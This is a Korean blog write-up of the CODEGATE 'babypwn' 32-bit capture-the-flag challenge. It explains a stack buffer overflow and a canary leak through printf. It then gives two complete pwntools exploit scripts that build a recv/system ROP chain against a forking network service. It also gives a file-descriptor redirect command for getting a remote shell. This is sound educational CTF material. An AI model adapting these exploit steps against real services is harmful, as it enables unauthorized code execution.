Self-Improvement
[CODEGATE] babypwn (32bit) 풀이 및 Pwntools 본문
FILE
파일을 다운로드 받은 후에 정보를 확인해 본다.
32bit, dynamically linked, stripped로 되어있다.
적용된 보호기법
Functions
IDA
IDA를 통해서 메인과 서브함수들의 중요한 것만 확인해 본다. (Strings 찾기로 접근음)
8181포트로 socket을 열어준다.
v2의 크기는 40바이트이지만 입력값을 받을땐 100바이트로 받고 있음으로 1번과 2번 선택에서 BOF가 발생하게 된다.
v3= ebp-0xC
v2= ebp-0x34
v2의 크기는 0x34-0xC =0x28이다.
Main에서 Fork()함수로 인해 Canary는 고정이 되어있을 것이다.
먼저 Canary 값을 구하기 위해 v2의 크기만큼 40바이트를 채워본다.
Canary Leak
Pwntools로 작성하되 canary의 마지막이 "\x00"으로 되어있을 것으로 추측하여 41바이트로 보내본다.
printf함수는 \x00을 만날때까지 출력이 이루어짐으로
canary는 0x43987500으로 되어있다.
Python Pwntools 풀이
canary도 구했으니 처음에 구한 functions에서 recv, system 함수를 이용하여 ROP로 쉘을 얻거나 명령을 보내본다.
ret까지의 거리는 40바이트 + canary(4바이트) + 8바이트 + SPF(4바이트)로 56바이트이다.
(위 IDA에서 v2의 EBP 거리만큼+SPF을 하면 된다.)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
from pwn import *
context.log_level='debug'
context(arch='x86', os='linux', endian='little')
e=ELF('./babypwn')
p=remote("localhost",8181)
binsh="/bin/sh\x00"
p.recvuntil("Select menu >")
p.sendline('1')
p.recvuntil("Input Your Message :")
payload='A'*40
payload+='B'
p.send(payload)
p.recvuntil('B')
leak=p.read(3)
canary='\x00'+leak
p4r=0x8048eec
cmd='id'
bss=e.get_section_by_name(".bss").header.sh_addr
payload2='A'*40
payload2+=canary
payload2+='B'*12
payload2+=p32(e.plt["recv"])
payload2+=p32(p4r)
payload2+=p32(4)
payload2+=p32(bss)
payload2+=p32(len(cmd)+2)
payload2+=p32(0)
payload2+=p32(e.plt["system"])
payload2+='CCCC'
payload2+=p32(bss)
p.recvuntil("Select menu >")
p.sendline('1')
p.send(payload2)
p.recvuntil("Select menu >")
p.sendline('3')
p.send(cmd)
p.close()
|
cs |
쉘을 얻기 위해선 cmd="/bin/sh >&4 <&4 2>&4
Pwntools의 ROP Chain 사용
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
from pwn import *
context.log_level='debug'
context(arch='x86', os='linux', endian='little')
e=ELF('./babypwn')
p=remote("localhost",8181)
p.recvuntil("Select menu >")
p.sendline('1')
p.recvuntil("Input Your Message :")
payload='A'*40
payload+='B'
p.send(payload)
p.recvuntil('B')
leak=p.read(3)
canary='\x00'+leak
cmd='id'
bss=e.get_section_by_name(".bss").header.sh_addr
rop=ROP(e)
rop.recv(4, bss, len(cmd)+2,0)
rop.system(bss)
payload2='A'*40
payload2+=canary
payload2+='B'*12
payload2+=rop.chain()
p.recvuntil("Select menu >")
p.sendline('1')
p.send(payload2)
p.recvuntil("Select menu >")
p.sendline('3')
p.send(cmd)
p.close()
|
cs |
'리버싱 기초 > CODEGATE' 카테고리의 다른 글
[CODEGATE] betting (64bit) 풀이 및 Pwntools (0) | 2020.06.18 |
---|---|
[CODEGATE] BaskinRobins31 (64bit) 풀이 및 Pwntools (첫 64bit Pwn) (0) | 2020.06.16 |
[CODEGATE] Nuclear (32bit) 풀이 및 Pwntools (많은 삽질을 하게 한 문제) (0) | 2020.06.11 |
[CODEGATE] angry_doraemon (32bit) 풀이 및 Pwntools (0) | 2020.06.09 |
[CODEGATE] BabyMISC (32bit) 풀이 및 Pwntools (0) | 2020.06.08 |